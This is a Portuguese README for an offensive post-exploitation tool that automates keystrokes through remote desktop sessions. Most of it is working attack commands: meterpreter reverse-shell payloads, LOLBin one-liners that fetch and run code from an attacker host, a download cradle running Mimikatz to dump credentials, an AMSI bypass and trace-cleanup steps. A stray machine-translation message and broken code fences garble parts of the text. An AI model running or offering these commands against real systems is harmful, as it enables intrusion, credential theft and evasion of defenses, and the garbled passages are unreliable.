RemoteKeyStrokes

Um script para automatizar pressionamentos de teclas através de uma sessão remota ativa de área de trabalho que auxilia operadores ofensivos em combinação com técnicas de "living off the land". Todos os créditos vão para nopernik por tornar isso possível, então eu decidi melhorá-lo. Queria algo que ajudasse durante a fase de pós-exploração ao executar comandos através de uma área de trabalho remota. Também foi possível para a realização do projeto SCPA para coletar recursos de forma organizada.

Funcionalidades

• Execução de comandos
• Transferência de arquivos
• Escalação de privilégios (Em breve)
• Persistência (Em breve)
• Anti-forense (Em breve)
• Mayhem (Em breve)

Instalação

Dependências

Instale o restante das dependências de acordo com seu gerenciador de pacotes.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool

$ sudo dnf install -y xdotool freerdp-2 remmina

$ sudo pacman -S freerdp remmina xdotool

$ sudo emerge xwayland freerdp remmina xdotool

$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina

### Configuração

Instale o programa no sistema e crie `rks` como um link simbólico de `remotekeystrokes`. Isso será usado como um alias de comando.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks

Menu de Ajuda```

$ remotekeystrokes -h Usage: remotekeystrokes

Flags:

COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute

-p, --platform <operating_system>   Specify the operating system ("windows" is
                                    set by default if not specified)

-w, --windowname <window_name>      Specify the window name to focus on the
                                    active window ("freerdp" is set by default
                                    if not specified)

-h, --help                          Display this help message

UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer

METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"

-s, --submethod <submethod>         Specify a submethod from a method (applies
                                    with -m flag)

-a, --action <action>               Specify an action from a method and/or
                                    submethod (applies with -m and/or -s flag)

-e, --evasion <evasion>             Specify an evasion method for uploading files
                                    (only works for "pwshb64")

## Uso

### 0x00 - Autenticação Remota

#### Legendas

- Símbolo de dólar (`$`) indica um prompt de shell unix com privilégios de usuário normal, e inclui comandos.

- Colchetes angulares (`<>`) significam parâmetros obrigatórios.

- Colchetes (`[]`) significam parâmetros opcionais caso não seja necessário especificá-los.

#### RDP

Para autenticar sistemas operacionais modernos especifique a flag para forçar autenticação como TLS `/sec:tls` ou autenticação como NLA `/sec:nla`.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]

Para autenticar sistemas operacionais legados, especifique a flag /sec:rdp para forçar a autenticação antiga.``` $ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]

#### VNC

Para autenticar remotamente uma máquina VNC.```
$ remmina -c vnc://<username>:<password>@<IP>

SSH```

$ ssh [-p ] @

#### Telnet```
$ telnet <IP> [PORT]

Ao usar RemoteKeyStrokes

Para usar remotekeystrokes (ou um comando alias rks) ao executar comandos no alvo Windows com sessão remota autenticada. Antes de executá-los, é necessário navegar com um nome de janela (-w); por padrão, procurará por FreeRDP ao usar xfreerdp. Ao visar sistemas com um programa de login remoto diferente, certifique-se de especificar o nome da janela. Utilize a flag -c para emitir comandos. Você também pode preparar um arquivo de texto para inserir comandos e ele os lerá um a um. A flag verificará se é uma string ou um arquivo.

Para programas gráficos de área de trabalho remota, como FreeRDP, Remmina e outros programas de terceiros. Diferente de sessões remotas de terminal como telnet e ssh. Você deve navegar o cursor para um aplicativo ativo dentro da máquina alvo. Por exemplo, em ambiente Windows, você deve abrir um prompt de comando (cmd.exe) ou powershell (powershell.exe). É possível que o Windows abra programas com uma caixa de diálogo (-m dialogbox) para um lançamento rápido. Certifique-se de limpar os vestígios da entrada do registro quando executou inicialmente com o método. Ela está localizada em HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Você verá exemplos de como poderá realizar medidas ofensivas rápidas apenas com técnicas de Living off the Land (LotL).

0x01 - Reconhecimento Interno

Prompt de Comando

Enumeração da máquina local.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!

Para executar em um único comando. Isso é conciso especialmente quando usado com uma caixa de diálogo.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Enumeração do Active Directory.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!

Para executar em um único comando. Isso é conciso especialmente quando usado com uma caixa de diálogo.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Powershell

Enumeração da máquina local (TODO)``` $ cat recon_local_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_local_enum_cmdlets.txt

Enumeração do Active Directory (TODO)```
$ cat recon_ad_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_ad_enum_cmdlets.txt

0x02 - Executar Payload

Windows

Execute o payload enquanto lê o conteúdo do powershell.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

Execute um payload powershell oneliner usando o módulo exploit `exploit/multi/script/web_delivery` do `metasploit-framework`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"

Execute a carga útil com msiexec.exe enquanto hospeda um servidor web.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ sudo python -m http.server 80

$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox

Execute o payload com `mshta.exe` usando o módulo de exploit `exploit/windows/misc/hta_server` do `metasploit-framework`.```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"

$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox

Execute o payload com rundll32.exe usando o módulo de exploit exploit/windows/smb/smb_delivery do metasploit-framework.``` $ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"

$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox

Execute o payload com `regsvr32.exe` usando o módulo de exploração `metasploit-framework` `exploit/multi/script/web_delivery`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox

Multiplataforma

Execute e implante com python usando o módulo de exploração metasploit-framework exploit/multi/script/web_delivery.``` $ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "python -c """

### 0x03 - Transferência de Arquivos

Existem 11 métodos de transferência de arquivos no total.

|     Method     |      Platform     | Description |
| -------------- | ----------------- | ----------- |
|   `pwshb64`    | Windows e Linux | Codifica o arquivo em base64 e depois o decodifica com o powershell. |
|    `cmdb64`    |      Windows      | Usa `copy con` para gerar o conteúdo do arquivo codificado em base64 e depois o decodifica com `CertUtil.exe`. |
|    `nixb64`    |       Unix        | Decodifica o conteúdo base64 em um arquivo. |
|   `outfile`    | Windows e Linux | Usa o cmdlet `Out-File` para gerar o arquivo de texto. |
|  `outfileb64`  |      Windows      | Usa o cmdlet `Out-File` para gerar o conteúdo do arquivo codificado em base64 e depois o decodifica com `CertUtil.exe`. |
|   `copycon`    |      Windows      | Usa o comando `copy con` para gerar o arquivo de texto. |
|   `pwshhex`    | Windows e Linux | Codifica o arquivo em hexadecimal e depois o decodifica com o powershell. |
|    `cmdhex`    |      Windows      | Gera um one-liner codificado em hex em uma variável e depois o decodifica com `CertUtil.exe`. |
|  `copyconhex`  |      Windows      | Usa `copy con` para gerar o conteúdo do arquivo hexdump codificado e depois o decodifica com `CertUtil.exe`. |
|   `nixhex`     |       Unix        | Gera um one-liner codificado em hex em uma variável e depois decodifica com `echo -e` para interpretar o carácter de sequência `\x`. Isto é adequado ao lidar com dispositivos IoT, especialmente quando o Telnet não possui funcionalidade para transferir arquivos.|
|  `outfilehex`  |      Windows      | Usa o cmdlet `Out-File` para gerar o conteúdo do arquivo hexdump codificado e depois o decodifica com `CertUtil.exe`. |

Faça upload de um arquivo remotamente ao fazer pivot em uma rede isolada. Se quiser especificar o caminho remoto no Windows, certifique-se de incluir aspas. Por padrão, usa Powershell base64 para transferir arquivos se não for especificado. Isso também inclui droppers mesmo se o tamanho for grande. Tenha em mente que levará tempo para concluir a transferência do arquivo.```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!

Para transferir droppers, você pode usar CertUtil.exe base64 especialmente se for grande.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe

Para transferir droppers com powershell via `CertUtil.exe` base64.```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m outfileb64

Também é possível que sistemas operacionais legados transfiram arquivos, como, Windows XP, que não possui PowerShell, exceto pelo prompt de comando.``` $ rks -c "cmd.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m cmdb64

Ative o seu listener C2 e execute o payload.```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"

$ rks -c ".\payload.exe"

Outra forma de transferir arquivos, especialmente para ferramentas de sysadmin e ofensivas. Vamos tomar PsExec64.exe como um exemplo que requer movimento lateral. Levaria muito tempo para fazer upload via texto sem interrupção. Em vez disso, a maneira mais rápida é montar o WebDAV que pertence ao site legítimo do kit de ferramentas sysinternals (live.sysinternals.com). Em vez de usar o explorador de arquivos, que é muito mais lento do que executar comandos. Aqui estão os comandos para o prompt de comando.

net use Z: https://live.sysinternals.com
copy Z:\PsExec64.exe C:\Windows\Temp\
Z:
cd Z:
dir

$ cat commands.txt net use z: \live.sysinternals.com\tools copy z:\PsExec64.exe . net use z: /delete

$ rks -c "cmd.exe" -m dialogbox

$ rks -c commands.txt

Aqui está outra variante para cmdlets do PowerShell ao transferir `PsExec64.exe` no Windows.```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z

$ rks -c "powershell.exe" -m dialogbox

$ rks -c cmdlets.txt

A melhor maneira de recuperar malware sem arquivos ou ferramentas ofensivas através do powershell é simplesmente hospedar/recuperar sites legítimos como, https://github.com e executá-lo. Vamos usar Invoke-Mimikatz para recuperar credenciais baixando e executando o cradle do nishang.``` $ cat hashdump.txt IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds

$ rks -c "powershell.exe" -m dialogbox

$ rks -c hashdump.txt

Se você tem arquivos grandes e é quase impossível esperar a transferência de arquivos ser concluída. O `xfreerdp` permite montar um diretório local com a flag `/drive:/path/to/directory/`. Em seguida, navegue pelo gerenciador de arquivos ou prompt de shell para `\\tsclient\<share_name>\` para visualizar o conteúdo.```
$ mkdir Tools

$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/

$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "dir \\tsclient\<share_name>\"

0x04 - Escalação de Privilégios

Nota: WIP (Trabalho em Andamento)``` $ rks -m elevate -s bypassuac -a info

$ rks -m elevate -s <sub_method>

### 0x05 - Persistência

Nota: WIP (Work In Progress)```
$ rks -m persistence -s createuser

$ rks -m persistence -s sethc

0x06 - Evasão de Defesa

Nota: WIP (Trabalho em Andamento)

Você pode combinar AMSI Bypass com o implant PowerShell para contornar o Windows Security ou qualquer solução de segurança que foi integrada com o scanner AMSI.``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

O usuário não forneceu conteúdo para traduzir. Se você tiver o texto real, cole-o após "INPUT:" e eu traduzirei conforme as regras especificadas.```
$ rks -m antiforensics -s wevutils

$ rks -m antiforensics -s winevent

$ rks -m antiforensics -s eventvwr

0x07 - Mayhem

Nota: WIP (Em Andamento)``` $ rks -m mayhem -s diskpart -a info

$ rks -m mayhem -s diskpart -a cmd

$ rks -m mayhem -s diskpart -a pwsh

### 0x08 - Especificar o nome da janela.

Se estiver a atacar VNC, Telnet ou outros protocolos de rede, pode especificar o nome da janela. Isto é útil sempre que estiver a usar `remmina` ou outra instância de terminal com uma janela renomeada.```
$ rks -c implant.ps1 -w <window_name>

FAQ (Perguntas Frequentes)

O que me fez começar este projeto?

É dolorosamente lento quando digito manualmente com meu teclado ou navego e clico com meu mouse, especialmente fora da rede local. Eu só quero acelerar o processo, especialmente ao infiltrar na rede.

É estritamente apenas para desktops remotos gráficos (ou seja, RDP, VNC, etc.)?

Não necessariamente. Eu tornei possível para consoles remotos como, Telnet, já que ele não possui uma funcionalidade para transferir arquivos.

Posso usar as técnicas para meu projeto ou outras técnicas para meu próprio arsenal?

As técnicas são comuns e podem ser reutilizadas para BadUSB, desenvolvimento de malware ou qualquer outro projeto relacionado. Está sob a licença copyleft GNU GPLv3 que permite a você, como usuário, o direito de visualizar como o programa opera, alterar o código-fonte conforme suas necessidades e redistribuir para outros usuários junto com o código-fonte.

Está disponível para o servidor de exibição wayland?

No momento, não existem ferramentas wayland compatíveis para encontrar uma alternativa ou um substituto para o xdotool. dotool é muito promissor, mas está faltando um recurso específico para focar janelas. kdotool está disponível apenas para ambientes de desktop KDE. Talvez eu tenha que reinventá-lo em Go (já que dotool existe) ou Python com a biblioteca pynput.

Solução de Problemas

A Ferramenta Ofensiva Não Está Funcionando

Ao executar o programa pela primeira vez, ele deve exibir algumas mensagens autoexplicativas. Mude para o servidor de janelas x11. Consulte a FAQ sobre por que o wayland não é suportado.``` $ rks -c "powershell.exe" -m searchbox [ERROR] Wayland isn't supported! [*] Terminating program...

### Desinstalar Ferramenta Ofensiva

Para desinstalá-la.```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks

TODO e Ajuda Necessária

• Implementar método de criptografia AES256 via base64

• Implementar o restante dos métodos de upload: Base32, Base2, Base10, Base8

• Implementar função de privesc para Windows e Linux

• Implementar uma função de persistência para Windows e Linux.

• Implementar função de antiforense para Windows e Linux.

• Implementar função de caos para Windows e Linux.

Referências

• Video: sethc.exe Backdoor CMD Payload delivery (USB Rubber Ducky style)

• Original Script

• VirtualRubberDucky

• sticky_keys_hunter

Créditos

• nopernik

Aviso Legal

É de sua responsabilidade, dependendo de qualquer que seja a causa de suas ações, usuário. Lembre-se de que com grandes poderes vêm grandes responsabilidades.